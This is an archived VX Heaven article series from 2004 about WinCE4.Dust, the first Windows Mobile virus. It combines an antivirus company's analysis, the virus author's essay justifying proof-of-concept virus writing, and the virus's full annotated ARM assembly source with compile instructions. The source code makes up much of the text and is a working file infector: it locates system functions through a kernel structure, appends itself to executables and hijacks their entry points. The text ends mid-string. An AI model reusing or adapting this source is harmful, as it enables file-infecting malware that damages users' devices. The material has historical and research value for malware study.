VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Details Emerge on the First Windows Mobile Virus

Cyrus Peikari, Seth Fogie, Ratter
September 2004

[Back to index] [Comments]

Part 1

This three-part series by Cyrus Peikari, Seth Fogie, and Ratter/29A discusses the development of viruses for the Windows Mobile platform. Part 1 describes the first, WinCE4.Dust.

One of Microsoft's most important initiatives is the Windows Mobile platform. Windows Mobile is powered by Windows CE, which is a stable, efficient, truly multitasking operating system offering nothing less than a full, miniaturized version of Windows 2000. In short, it's a masterpiece. Unfortunately, Windows CE was designed without security. In addition, virus writers have created the first virus for Windows CE, known as WinCE4.Dust, as proof of concept.

What Is WinCE4.Dust?

WinCE4.Dust is the first known Windows CE virus to run on ARM-based devices running Windows Mobile Pocket PC. It was released to all major antivirus companies on July 16, 2004 by its author, Ratter, of the virus-writing group known as 29a (the hex equivalent of the number 666). This is a live, working proof-of-concept virus that infects all .exe files in the root directory of the Pocket PC device.

WinCE4.Dust does no serious or permanent damage to the infected device, with the exception of infecting .exe files in the root directory. Infected files will run the viral code on execution and will then continue to operate as normal.

Several safety features are built into the virus to help prevent it from spreading in the wild. First, when executed, the virus asks the user if it's allowed to spread. Only if the user grants permission will it infect other files. Second, the virus infects only .exe files located in the root directory of the Pocket PC device. All other .exe files on the PDA are safe from infection.

When a user executes the file, she will be shown a dialog box (see Figure 1).

Figure 1. Screen shot of WinCE4.Dust.

Figure 1. Screen shot of WinCE4.Dust.

At this point, the virus will systematically infect all non-infected .exe files located in the root directory of the PDA. It's careful to skip currently executing files and won't re-infect previously infected files.


At approximately 4:45 p.m. EST on July 16, 2004, Airscanner Corporation, along with other antivirus companies, received email from a previously unknown individual named Ratter/29A. Attached to the email, along with a brief explanation, was a file named When extracted, this file contained three executable files:

PocketIRC.exe and TRE.exe were samples of infected executables; wince_dust.exe was a sample of the virus code only (that is, the parent virus). Apparently, this virus was released to antivirus companies as proof of concept and was created to demonstrate that a virus could be written for the Pocket PC environment.

WinCE4.Dust is an example of a classic virus, but it has overcome technical obstacles to become the first virus to infect Windows CE. It infects only existing .exe files already located in the root directory of the PDA. The virus doesn't spread via networking function or operate as a memory-resident process. Due to its method of self-replication (recursively appending itself to every file in the directory), and how it spreads (requiring an initial user action to spread), WinCE4.Dust meets all the criteria for a computer virus.

This is a low-risk virus. It was created with the sole intent of serving as a proof-of-concept program to demonstrate the possibility of viral activity on the Windows CE platform. In fact, hidden in the binary, the author gives this humorous message, "This is proof of concept code. Also, [I] wanted to make avers [antivirus researchers] happy. The situation when Pocket PC antiviruses detect only EICAR file [a harmless, standardized test file] had to end..."

The risk is low because the virus requires a user to permit it to spread to other files. In addition, the infection process targets only files located in the root directory of the PDA, which limits the number of potentially infected programs.

When executed, the virus only scans for and infects other non-infected .exe files in the root folder. It skips any file that has already been infected (marked within the file by the tag line ATAR.) It doesn't damage the PDA or any other file on the device. Therefore, WinCE4.Dust is not a serious threat to infected PDAs. It's remarkable in that it demonstrates the first working method by which a virus can infect files on a Windows Mobile device.

If an infected file is viewed with a hex editor, the following messages appear near the end of the file:

	This code arose from the dust of Permutation City
	This is proof of concept code. Also, i wanted to make avers happy.
	The situation when Pocket PC antiviruses detect only EICAR file had to end ...

When the virus is executed, either via an infected executable or via wince_dust.exe, it creates a list of coredll.dll functions in memory, which are then used for function calls during the rest of the virus' execution. Once this list is placed in memory, the virus displays the message shown in Figure 2.

Figure 2. WinCE4.Dust asking user permission to spread.

Figure 2. WinCE4.Dust asking user permission to spread.

If the user selects No, a condition flag is set in the process that forces the virus code to calculate the infected program's real start address, which is then executed.

If the user selects Yes, the virus sets aside some space in memory and then locates the first .exe file in the root directory. If this function returns a filename, it checks whether the file is greater than 4,096 bytes; if so, it starts the infection routine.

First the virus checks to be sure that the file is writeable, which would not be the case if the file is currently in use. Then it passes through several checks to verify that the file is a true .exe, and to make sure that it wasn't already infected. If the file has been infected, it will be marked with the word ATAR at the offset 0x11C. Without this check, the virus would keep re-infecting files over and over until the device ran out of memory. If the target .exe passes the checks, the viral code is appended to the target file, which increases the file size by 1,536 bytes. Finally, the PE header is altered to point the processor to the newly appended virus code when the infected file is executed and to write in the ATAR tag.

Once the virus code has determined that there are no more uninfected .exe files, it calculates the correct starting address for the executing file and redirects the process to this point. The infected program then operates as normal.

Prometheus Unbound

Immediately after publishing an initial analysis of the virus, as well as the first known antivirus signature data file to detect it, Airscanner Corporation was flooded with requests from large companies that wanted a copy of the virus binary and source code. For example, people from organizations as diverse as the U.S. military, Motorola, and many others wanted full disclosure of the details. However, all Airscanner had was the binary and the results of the blind reverse-engineering described above.

Thus, we decided to write to the proof-of-concept author, whom we had never met or talked with before. After communicating with him, we found that he appeared to be a legitimate security researcher. He stated that he only wrote proof-of-concept code, and that he always put safeguards into his binaries to keep them from spreading in the wild. He also strictly refrained from spreading programs in the wild, rather sending samples only to well-recognized antivirus firms. Thus, we asked him if he would give us a more detailed analysis of this new class of virus. By understanding the unique nature of this malware, security researchers will hopefully be able to develop better protections.

For many years, some in the antivirus industry have attempted to keep proof-of-concept code as well as important methods of defense within a closed priesthood of self-proclaimed "experts." However, we believe in responsible full disclosure. That is, malicious virus writers in the computer underground already know these techniques. The only ones that are hurt by secrecy are legitimate companies and researchers.

For this reason, it's important to get the knowledge to legitimate researchers who need it, since malicious writers already have the information. For example, as far back as 2001, Prentice Hall recognized this need and published annotated source code samples from the Melissa virus in Windows Internet Security. These days, the concept of "security through obscurity" is discredited.

More To Come...

Before moving on to the detailed analysis of the virus in part 2 of this series, there's a moral issue to consider. Some people will insist that proof-of-concept virus authors, as well as full-disclosure security researchers, are immoral. This is a viewpoint that we won't be able to change in one paragraph. However, we prefer to judge people by their actions, rather than their deeds. For example, we have heard executives of antivirus companies state that they would never hire a programmer who attended a college (such as the University of Calgary) that taught students virus-writing in order to hone their defensive skills. Yet some antivirus company executives will say this in one breath, while committing securities fraud and lying to stockholders in the next. We hope you will judge people by their actions, rather than by hearsay.

Part 2

In part II we hear from Ratter, the author of the first proof-of-concept virus for Windows Mobile. He begins by tracing the history of how he came into virus research.


On July 16, 2004, after a day spent finishing writing my new virus, I (Ratter) sent a copy of the bug to the leading antivirus (AV) firms for analysis. Within a few hours I began to receive their first emails and finished analyses. The next day, the AV firms launched their PR machine; that was the start of the media hype that in essence is still ongoing. Sometimes the AV firms' information is fairly accurate, but sometimes it's incorrect. It could be said that the more we virus code researchers are distanced from the source (in this case, the AV firms), the more the information is misinterpreted and confused. That was one of the main reasons why I decided to accept the offer from security writers Cyrus Peikari and Seth Fogie to write a little story about why and how I created this proof-of-concept virus.

What led me to the idea of writing a Pocket PC virus? What is 29A? Is virus writing legal or at least justifiable? I'll try to answer these questions, even though it will reflect my own opinion, with which some individuals might disagree.

Me and Viruses

Since the MS-DOS days, I've always wanted to know how things work inside -- mainly how the operating system works. Therefore, when I received a copy of my first computer virus book, it was the starting point for all three members of 29A; it was like a miracle to me. The book explained procedures of advanced DOS viruses that dug around the entire operating system. Thanks to viruses, I've learned everything I know about the MS-DOS operating system. Later, when I started to examine the Win32 platform, it seemed a logical result to write a virus in order to hone my knowledge. In my opinion, there's nothing like studying viruses to learn the target system. For similar reasons, I enjoyed writing the NT rootkit and exploring the art of reverse engineering.

Me and 29A

29A is an international group connected by a common interest in computer security, especially in self-replicating code. To many who don't know us, we represent criminals who only want to destroy. Under the 29A name, several technically capable people have released programs that, if not interesting, are at least different from "mainstream production" viruses. You won't meet most of our code in the wild -- not because we wouldn't be able to write a virus that would propagate; in fact, almost any programmer can to do it these days -- but because our purpose is to release proof-of-concept in order to point out security vulnerabilities that can be fixed.

Unlike many of the stereotypes about us, we don't want to destroy data, waste institutions' time, or con them out of money (and the published damage figures caused by many worms are questionable at best). We just want to show that not much has changed since MS-DOS. Computer systems are still vulnerable, and vendors are still unenlightened. Maybe they're comfortable with this state (together with AV firms), but that's just speculation.

Our viruses are very often designed so that it would be impossible for them to spread in the wild without altering their structure: For example, they're limited to infecting one file per run, or they ask the user before even trying to reproduce.

I often hear the opinion that by releasing source code of our viruses and worms in our magazine that implement new ideas and techniques, we indirectly cause destruction, because these techniques are then used in worms in the wild. (For example, 29A has written the first macro virus and the first real Win32 virus, and we worked out polymorphism and metamorphism, as well as the first Win64 virus and the first worm for Symbian that was able to spread via Bluetooth.) However, if you accept this opinion, then you're also pointing the finger at people who seek exploitable bugs in software and who release proof-of-concept exploits; you must believe that these researchers are also criminals. Behind almost all mass-spreading worms (if we omit worms that use social engineering methods) stands a bug in the software that was first discovered, then publicly described, and later exploited. Are you calling full-disclosure researchers criminals?

The answer is clear: Security through obscurity was overcome a long time ago, and that's why 29A and most of the serious virus-writing programmers release their code in magazines. But first, of course, we let AV firms know about these viruses, so they can adapt and prepare new cures. If the few of us who practice virus-writing as a hobby are able to attack almost every main platform, what would professional attackers or terrorists be able to do? It's better to know vulnerabilities in advance in order to prepare your defenses.

Me and Microsoft

A lot of people think that I create viruses because I hate Microsoft or what it symbolizes. That's incorrect. I've used Microsoft's products for many years now, and I'm satisfied with them. When I bought my new desktop PC, I paid extra money for Windows XP without hesitation; and when I decided to buy a PDA, I chose one with a Microsoft operating system. Those who have had close contact with Microsoft research will understand when I say that Microsoft employs the world's leading experts, and a priori those experts cannot do a bad job. Nevertheless, even though the inner design of this firm's products are flawless, the outer implementations mostly aren't. And Windows CE is no exception.

Immediately after playing with my new Pocket PC toy for the first time, I realized that I wanted to learn to create programs for it. And because I like programming on a very low level, I first had to learn the ARM assembly language, because at the heart of my PDA was an Intel XSCALE processor that implements ARM standard instructions.

There was an inevitable few months of delay both because of school and because of other non-virus-related coding. However, after the end of summer term, the holidays came up. Adequate free time is the basic prerequisite to making new programs, and that's why I decided then to start the Pocket PC project. On the Net, I found several ARM assembly guides and official ARM documentation, and in just a few days I thought I was prepared for coding in it. The only programs that are written completely in assembly language these days are computer viruses, so I let one arise....

More To Come...

In part 3 of this series, Ratter describes in detail the first proof-of-concept virus for Windows CE, WinCE4.Dust.

Part 3

In this article I'll try to explain how I, Ratter, proceeded while creating Dust, the first Pocket PC virus, including which techniques and utilities I used. I'll also include annotated source code. Following the description, I'll cover which problems I faced when moving from Win32 to WinCE, and present my theories about future directions in Pocket PC viruses.


To completely understand the source code in this article, you'll need to know at least the basics of ARM instructions; start with Seth Fogie's article "Embedded Reverse Engineering: Cracking Mobile Binaries" (PDF). At the end of that document, advanced ARM topics are also explained. In addition, a basic knowledge of the portable executable format will help. You can download the utilities that you'll need to convert the source code to its executable form.


First, we'll cut everything between these two labels:

	** virus_source **
	** virus_source_end **

Then we'll paste that code to a new file called wince_dust.asm. For compiling, we'll use armasm (the Microsoft macro assembler for ARM) and the WinCE-aware version of Microsoft link. Both these utilities can be found here and we'll use them as follows:

	armasm wince_dust.asm

After these steps, the executable file wince_dust.exe is created, which can be transferred to the PDA and tested. The virus infects all suitable PE .exe files in the root directory (My device) of the device. Before the infection itself, the virus asks for permission (see Figure 1).

Figure 1. WinCE4.Dust asking user permission to spread.

Figure 1. WinCE4.Dust asking user permission to spread.

Possible Future Improvements

With its capabilities, Dust is reminiscent of basic Win32 viruses from the pioneering days. In the future, we'll surely meet other Win32 techniques, such as entry point obscuring (EPO), PE file merging, polymorphic prologs, metamorphism, and more. These are beyond the scope of this article; if you're interested, take a look at the 29A Labs web site and the VX Heavens site.

Further, more specific WinCE techniques can be expected, such as memory residency; and, with that, connected on-the-fly infection, stealth, sending SMS and dialing numbers (on SmartPhones), and so on.


While programming WinCE4.Dust, I used time-tested techniques from the Win32 world. When infecting, the PE file is altered in the following way: The last section size is increased by the virus code size, and the virus body is copied at the end of the last section. Then the new EntryPoint is set; in other words, the pointer is set to the first instruction to execute when the program is loaded. This way, it's guaranteed that the virus will be run.

Because Dust doesn't use the host's import section, it has to somehow obtain the needed API function addresses. This was the biggest problem to overcome, and finding the solution took some time. As soon as we have the function addresses, we use them to alter the victim's files found on the memory medium. Finding files to infect provides the standard function pair FindFirstFile and FindNextFile. Together with CreateFile, they differ from their Win32 counterparts, which appeared to be another minor problem.

Every file gets mapped into memory, where later needed modifications are made. Windows CE introduced a new function, CreateFileForMapping, that has no equivalent on Win32. Without calling this function, there's no way to get the file handle that could be used to create the mapping object. On the other hand, the advantage of the ARM ISA appeared -- the automatic generation of position-independent code. On Win32 x86, you had to determine its actual memory position and use this value later to modify absolute variable addresses (if the host's relocations were not altered, of course).

The virus source code includes deeper comments of given problems and techniques. Please take the time to carefully read through the comments of this source code, in which I explain the Windows CE .NET security weakness that allowed me to create the first successful virus for this platform.

** virus_source **


   EXPORT  WinMainCRTStartup

   AREA .text, CODE, ARM


; r11 - base pointer
virus_code_start   PROC
   stmdb   sp!, {r0 - r12, lr, pc}
   mov    r11, sp
   sub    sp, sp, #56     ; make space on the stack

   ; our stack space gets filled the following way
   ;    #-56 - udiv
   ;    #-52 - malloc
   ;    #-48 - free
   ; [r11, #-44] - CreateFileForMappingW
   ;    #-40 - CloseHandle
   ;    #-36 - CreateFileMappingW
   ;    #-32 - MapViewOfFile
   ;    #-28 - UnmapViewOfFile
   ;    #-24 - FindFirstFileW
   ;    #-20 - FindNextFileW
   ;    #-16 - FindClose
   ;    #-12 - MessageBoxW

   ;    #- 8 - filehandle
   ;    #- 4 - mapping handle

   bl    get_export_section

   ; we'll import via ordinals, not function names, because it's
   ; safe - even linker does that

   adr   r2, import_ordinals
   mov   r3, sp
   bl    lookup_imports

   bl    ask_user
   beq    jmp_to_host     ; are we allowed to spread?

   mov    r0, #0x23, 28
   mov    lr, pc
   ldr    pc, [r11, #-52]   ; allocate WFD
   mov    r4, r0

   cmp    r0, #0
   beq    jmp_to_host

   ; in the following code I use functions FindFirstFile/FindNextFile
   ; for finding *.exe files in the current directory. But in this
   ; case I made a big mistake. I didn't realize that WinCE is not
   ; aware of the current directory and thus we need to use absolute
   ; pathnames. That's why this code won't find files in the current
   ; directory, but rather always in root directory. I found this out when I
   ; was performing final tests, but because the aim was to create a
   ; proof-of-concept code and because the infection itself was already
   ; limited by the user's permission, I decided not to correct this
   ; bug

   adr    r0, mask
   mov    r1, r4
   mov    lr, pc
   ldr    pc, [r11, #-24]   ; find first file
   cmn    r0, #1
   beq    free_wfd

   mov    r5, r0
   ldr    r0, [r4, #28]     ; filesize high
   ldr    r1, [r4, #32]     ; filesize low

   cmp    r0, #0         ; file too big?
   bne    find_next_file

   cmp    r1, #0x1000      ; file smaller than 4096 bytes?
   addgt   r0, r4, #40      ; gimme file name
   blgt   infect_file

   mov    r0, r5
   mov    r1, r4
   mov    lr, pc
   ldr    pc, [r11, #-20]    ; find next file
   cmp    r0, #0         ; is there any left?
   bne    find_files_iterate

   mov    r0, r5
   mov    lr, pc
   ldr    pc, [r11, #-16]

   mov    r0, r4
   mov    lr, pc
   ldr    pc, [r11, #-48]    ; free WFD

   adr    r0, host_ep
   ldr    r1, [r0]        ; get host_entry
   ldr    r2, [r11, #56]     ; get pc
   add    r1, r1, r2       ; add displacement
   str    r1, [r11, #56]     ; store it back

   mov    sp, r11
   ldmia   sp!, {r0 - r12, lr, pc}

   ; we're looking for *.exe files
mask   DCB    "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0

   ; host entry point displacement
   ; in first generation let compiler count it
   DCD    host_entry - virus_code_start - 8

   ; WinCE is a UNICODE-only platform and thus we'll use the W ending
   ; for api names (there are no ANSI versions of these)

   DCW    2008       ; udiv
   DCW    1041       ; malloc
   DCW    1018       ; free
   DCW    1167       ; CreateFileForMappingW
   DCW    553        ; CloseHandle
   DCW    548        ; CreateFileMappingW
   DCW    549        ; MapViewOfFile
   DCW    550        ; UnmapViewOfFile
   DCW    167        ; FindFirstFileW
   DCW    181        ; FindNextFile
   DCW    180        ; FindClose
   DCW    858        ; MessageBoxW

   DCD    0x0

   ; basic wide string compare
wstrcmp   PROC
   ldrh    r2, [r0], #2
   ldrh    r3, [r1], #2

   cmp    r2, #0
   cmpeq   r3, #0
   moveq   pc, lr

   cmp    r2, r3
   beq    wstrcmp_iterate

   mov    pc, lr

   ; on theWin32 platform, almost all important functions were located in the
   ; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
   ; was). The first infectors had a hardcoded imagebase of this dll and
   ; later they imported needed functions by hand from it. This
   ; turned out to be incompatible because different Windows versions might
   ; have different imagebases for kernel32. That's why more or less
   ; sophisticated methods were found that allowed coding in a
   ; compatible way. One of these methods is scanning memory for known values
   ; located in PE file header ("MZ") if the address inside the module is
   ; given. Because the function inside kernel32 calls the EntryPoint of
   ; every Win32 process, we've got this address. Then comparing the word
   ; on and aligned address (and decrementing it) against known values is
   ; enough to locate the imagebase. If this routine is even covered
   ; with SEH (Structured Exception Handling) everything is safe.

   ; I wanted to use this method on WinCE too, but I hit the wall.
   ; Probably to save memory space, there are no headers
   ; before the first section of the loaded module. There is thus no
   ; "MZ" value and scanning cannot be used even we have the address
   ; inside coredll.dll (lr registr on our entrypoint). Moreover, we
   ; cannot use SEH either, because SEH handlers get installed with
   ; the help of a special directory (the exception directory) in the PE file and
   ; some data before the function starts - this information would have
   ; to be added while infecting the victim (the exception directory
   ; would have to be altered) which is of course not impossible -- just
   ; a little bit impractical to implement in our basic virus.

   ; That's why I was forced to use a different approach. I looked
   ; through the Windows CE 3.0 source code (shared source,
   ; downloadable from Microsoft) and tried to find out how the loader
   ; performs its task. The Loader needs the pointer to the module's export
   ; section and its imagebase to be able to import from it. The result was a
   ; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
   ; chose to open this loophole, I don't know)
   ; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
   ; list of Module structures. There we can find all needed values
   ; (name of the module, imagebase and export section RVA). In the
   ; code that follows I go through this one-way list and look for
   ; structure describing the coredll.dll module. From this structure I
   ; get the imagebase and export section RVA (Relative Virtual Address).

   ; what sounds relatively easy was in the end more work than I
   ; expected. The problem was to get the offsets in the Module
   ; structure. The source code and corresponding headers I had were for
   ; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
   ; where the structure is different. I worked it out using the following
   ; sequence:
   ; I was able to get the imagebase offset using the trial-and-error
   ; method - I used the debugger and tried values inside the
   ; structure that looked like valid pointers. If there was something
   ; interesting, I did some memory sniffing to realize where I was.
   ; The export section pointer was more difficult. There is no real
   ; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
   ; pointer. That's why I found coredll.dll in memory - namely the
   ; list of function names in export section that the library exports.
   ; This list is just a series of ASCIIZ names (you can see this list
   ; when opening the dll in your favourite hex editor). At the
   ; beginning of this list there must be a dll name (in this case
   ; coredll.dll) to which a RVA in the export section header
   ; points. Substracting the imagebase from the address where the dll
   ; name starts gave me an RVA of the dll name. I did a simple byte
   ; search for the byte sequence that together made this RVA value. This
   ; showed me where the (Export Directory Table).Name Rva is.
   ; Because this is a known offset within a known structure (which is
   ; in the beginning of export section), I was able to get
   ; the export section pointer this way. I again substracted the imagebase to
   ; get the export section RVA. I looked up this value in the coredll's
   ; Module structure, which finally gave me the export section RVA
   ; offset.

   ; this works on Pocket PC 2003; it works on
   ; my wince 4.20.0 (build 13252).
   ; On different versions the structure offsets might be different :-/

; output:
;  r0 - coredll base addr
;  r1 - export section addr
get_export_section   PROC
   stmdb   sp!, {r4 - r9, lr}

   ldr    r4, =0xffffc800   ; KDataStruct
   ldr    r5, =0x324     ; aInfo[KINX_MODULES]

   add    r5, r4, r5
   ldr    r5, [r5]

   ; r5 now points to first module

   mov    r6, r5
   mov    r7, #0

   ldr    r0, [r6, #8]     ; get dll name
   adr    r1, coredll
   bl    wstrcmp        ; compare with coredll.dll

   ldreq   r7, [r6, #0x7c]    ; get dll base
   ldreq   r8, [r6, #0x8c]    ; get export section rva

   add    r9, r7, r8
   beq    got_coredllbase    ; is it what we're looking for?

   ldr    r6, [r6, #4]
   cmp    r6, #0
   cmpne   r6, r5
   bne    iterate        ; nope, go on

   mov    r0, r7
   add    r1, r8, r7      ; yep, we've got imagebase
                   ; and export section pointer

   ldmia   sp!, {r4 - r9, pc}

coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
      DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

; r0 - coredll base addr
; r1 - export section addr
; r2 - import ordinals array
; r3 - where to store function adrs
lookup_imports   PROC
   stmdb   sp!, {r4 - r6, lr}

   ldr    r4, [r1, #0x10]    ; gimme ordinal base
   ldr    r5, [r1, #0x1c]    ; gimme Export Address Table
   add    r5, r5, r0

   ldrh   r6, [r2], #2     ; gimme ordinal
   cmp    r6, #0        ; last value?

   subne   r6, r6, r4      ; substract ordinal base
   ldrne   r6, [r5, r6, LSL #2] ; gimme export RVA
   addne   r6, r6, r0      ; add imagebase
   strne   r6, [r3], #4     ; store function address
   bne    lookup_imports_iterate

   ldmia    sp!, {r4 - r6, pc}

; r0 - filename
; r1 - filesize
infect_file   PROC
   stmdb   sp!, {r0, r1, r4, r5, lr}

   mov    r4, r1
   mov    r8, r0

   bl    open_file       ; first open the file for mapping
   cmn    r0, #1
   beq    infect_file_end
   str    r0, [r11, #-8]    ; store the handle

   mov    r0, r4        ; now create the mapping with
                   ; maximum size == filesize
   bl    create_mapping
   cmp    r0, #0
   beq    infect_file_end_close_file
   str    r0, [r11, #-4]    ; store the handle

   mov    r0, r4
   bl    map_file       ; map the whole file
   cmp    r0, #0
   beq    infect_file_end_close_mapping
   mov    r5, r0

   bl    check_header     ; is it file that we can infect?
   bne    infect_file_end_unmap_view

   ldr    r0, [r2, #0x4c]    ; check the reserved field in
                   ; optional header against
   ldr    r1, =0x72617461    ; rata
   cmp    r0, r1        ; already infected?
   beq    infect_file_end_unmap_view

   ldr    r1, [r2, #0x3c]    ; gimme filealignment
   adr    r0, virus_start
   adr    r2, virus_end     ; compute virus size
   sub    r0, r2, r0
   mov    r7, r0        ; r7 now holds virus_size
   add    r0, r0, r4
   bl    _align_        ; add it to filesize and
   mov    r6, r0        ; align it to filealignment
                   ; r6 holds the new filesize

   mov    r0, r5
   mov    lr, pc
   ldr    pc, [r11, #-28]    ; UnmapViewOfFile

   ldr    r0, [r11, #-4]
   mov    lr, pc
   ldr    pc, [r11, #-40]    ; close mapping handle

   mov    r0, r8
   bl    open_file       ; reopen the file because via
                   ; closing the mapping handle file
                   ; handle was closed too
   cmn    r0, #1
   beq    infect_file_end
   str    r0, [r11, #-8]

   mov    r0, r6        ; create mapping again with the
   bl    create_mapping    ; new filesize (with virus appended)

   cmp    r0, #0
   beq    infect_file_end_close_file
   str    r0, [r11, #-4]

   mov    r0, r6
   bl    map_file       ; map it
   cmp    r0, #0
   beq    infect_file_end_close_mapping
   mov    r5, r0

   ; r5 - mapping base
   ; r7 - virus_size

   ldr    r4, [r5, #0x3c]    ; get PE signature offset
   add    r4, r4, r5      ; add the base

   ldrh   r1, [r4, #6]     ; get NumberOfSections
   sub    r1, r1, #1      ; we want the last section header
                   ; so dec
   mov    r2, #0x28       ; multiply with section header size
   mul    r0, r1, r2

   add    r0, r0, r4      ; add optional header start to displacement
   add    r0, r0, #0x78     ; add optional header size

   ldr    r1, [r4, #0x74]    ; get number of data directories
   mov    r1, r1, LSL #3    ; multiply with sizeof(data_directory)
   add    r0, r0, r1      ; add it because section headers
                   ; start after the optional header
                   ; (including data directories)

   ldr    r6, [r4, #0x28]    ; gimme entrypoint rva

   ldr    r1, [r0, #0x10]    ; get last section's size of rawdata
   ldr    r2, [r0, #0x14]    ; and pointer to rawdata
   mov    r3, r1
   add    r1, r1, r2      ; compute pointer to the first
                   ; byte available for us in the
                   ; last section
                   ; (pointer to rawdata + sizeof rawdata)
   mov    r9, r1        ; r9 now holds the pointer

   ldr    r8, [r0, #0xc]    ; get RVA of section start
   add    r3, r3, r8      ; add sizeof rawdata
   str    r3, [r4, #0x28]    ; set entrypoint

   sub    r6, r6, r3      ; now compute the displacement so that
                   ; we can later jump back to the host
   sub    r6, r6, #8      ; sub 8 because pc points to
                   ; fetched instruction (viz LTORG)

   mov    r10, r0
   ldr    r0, [r10, #0x10]   ; get size of raw data again
   add    r0, r0, r7      ; add virus size
   ldr    r1, [r4, #0x3c]
   bl    _align_        ; and align

   str    r0, [r10, #0x10]   ; store new size of rawdata
   str    r0, [r10, #0x8]    ; store new virtual size

   ldr    r1, [r10, #0xc]    ; get virtual address of last section
   add    r0, r0, r1      ; add size so get whole image size
   str    r0, [r4, #0x50]    ; and store it

   ldr    r0, =0x60000020    ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
                   ; IMAGE_SCN_MEM_READ
   ldr    r1, [r10, #0x24]   ; get old section flags
   orr    r0, r1, r0      ; or it with our needed ones
   str    r0, [r10, #0x24]   ; store new flags

   ldr    r0, =0x72617461
   str    r0, [r4, #0x4c]    ; store our infection mark

   add    r1, r9, r5      ; now we'll copy virus body
   mov    r9, r1        ; to space prepared in last section
   adr    r0, virus_start
   mov    r2, r7
   bl    simple_memcpy

   adr    r0, host_ep      ; compute number of bytes between
                   ; virus start and host ep
   adr    r1, virus_start
   sub    r0, r0, r1      ; because we'll store new host_ep
   str    r6, [r0, r9]     ; in the copied virus body

   mov    r0, r5
   mov    lr, pc        ; unmap the view
   ldr    pc, [r11, #-28]
   ldr    r0, [r11, #-4]
   mov    lr, pc        ; close the mapping
   ldr    pc, [r11, #-40]
   ldr    r0, [r11, #-8]
   mov    lr, pc        ; close file handle
   ldr    pc, [r11, #-40]
   ldmia   sp!, {r0, r1, r4, r5, pc}   ; and return

   ; a little reminiscence of my beloved book - Greg Egan's Permutation City
   DCB    "This code arose from the dust of Permutation City"
   ALIGN    4

   ; this function checks whether the file we want to infect is
   ; suitable
check_header  PROC
   ldrh   r0, [r5]
   ldr    r1, =0x5a4d      ; MZ?
   cmp    r0, r1
   bne    infect_file_end_close_mapping

   ldr    r2, [r5, #0x3c]
   add    r2, r2, r5

   ldrh   r0, [r2]
   ldr    r1, =0x4550      ; Signature == PE?
   cmp    r0, r1
   bne    check_header_end

   ldrh   r0, [r2, #4]
   ldr    r1, =0x1c0      ; Machine == ARM?
   cmp    r0, r1
   bne    check_header_end

   ldrh   r0, [r2, #0x5C]    ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
   cmp    r0, #9
   bne    check_header_end

   ldrh   r0, [r2, #0x40]
   cmp    r0, #4        ; windows ce 4?

   mov    pc, lr

; r0 - file
open_file   PROC
   str    lr, [sp, #-4]!

   sub    sp, sp, #0xc
   mov    r1, #3
   str    r1, [sp]       ; OPEN_EXISTING
   mov    r3, #0
   mov    r2, #0
   str    r3, [sp, #8]
   str    r3, [sp, #4]
   mov    r1, #3, 2       ; GENERIC_READ | GENERIC_WRITE
   mov    lr, pc
   ldr    pc, [r11, #-44]    ; call CreateFileForMappingW to
                   ; get the handle suitable for
                   ; CreateFileMapping API
                   ; (on Win32 calling CreateFile is enough)
   add    sp, sp, #0xc

   ldr    pc, [sp], #4

; r0 - max size low
create_mapping   PROC
   str    lr, [sp, #-4]!

   mov    r1, #0
   sub    sp, sp, #8
   str    r0, [sp]
   str    r1, [sp, #4]
   mov    r2, #4        ; PAGE_READWRITE
   mov    r3, #0
   ldr    r0, [r11, #-8]
   mov    lr, pc
   ldr    pc, [r11, #-36]
   add    sp, sp, #8

   ldr    pc, [sp], #4

; r0 - bytes to map
map_file   PROC
   str    lr, [sp, #-4]!

   sub    sp, sp, #4
   str    r0, [sp]
   ldr    r0, [r11, #-4]
   mov    r1, #6        ; FILE_MAP_READ or FILE_MAP_WRITE
   mov    r2, #0
   mov    r3, #0
   mov    lr, pc
   ldr    pc, [r11, #-32]
   add    sp, sp, #4

   ldr    pc, [sp], #4

   ; not optimized (thus simple) mem copy
; r0 - src
; r1 - dst
; r2 - how much
simple_memcpy   PROC
   ldr    r3, [r0], #4
   str    r3, [r1], #4
   subs   r2, r2, #4
   bne    simple_memcpy
   mov    pc, lr

   ; (r1 - (r1 % r0)) + r0
; r0 - number to align
; r1 - align to what
_align_    PROC
   stmdb   sp!, {r4, r5, lr}

   mov    r4, r0
   mov    r5, r1

   mov    r0, r1
   mov    r1, r4

   ; ARM ISA doesn't have the div instruction so we'll have to call
   ; the coredll's div implementation

   mov    lr, pc
   ldr    pc, [r11, #-56]    ; udiv

   sub    r1, r5, r1
   add    r0, r4, r1

   ldmia   sp!, {r4, r5, pc}

   ; this function will ask user (via a MessageBox) whether we're
   ; allowed to spread or not
ask_user   PROC
   str    lr, [sp, #-4]!

   mov    r0, #0
   adr    r1, text
   adr    r2, caption
   mov    r3, #4

   mov    lr, pc
   ldr    pc, [r11, #-12]

   cmp    r0, #7

   ldr    pc, [sp], #4

   ; notice that the strings are encoded in UNICODE

   ; WinCE4.Dust by Ratter/29A
caption DCB    "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
     DCB    ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
     DCB    "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
     DCB    "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
     DCB    "A", 0x0, 0x0, 0x0

     ALIGN    4

   ; Dear User, am I allowed to spread?

text   DCB    "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
     DCB    "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
     DCB    "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
